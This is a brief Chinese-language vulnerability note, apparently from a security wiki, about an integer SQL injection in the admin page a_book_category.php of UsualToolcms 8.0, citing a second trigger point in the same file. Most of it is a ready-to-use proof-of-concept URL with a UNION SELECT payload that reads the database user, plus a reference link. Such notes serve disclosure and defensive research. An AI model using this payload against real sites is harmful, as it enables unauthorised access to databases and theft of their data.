后台a_book_category.php int型注入
UsualToolcms 8.0
该php文件下另外一个触发点：
http://www.0-sec.org/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23
https://xz.aliyun.com/t/8100
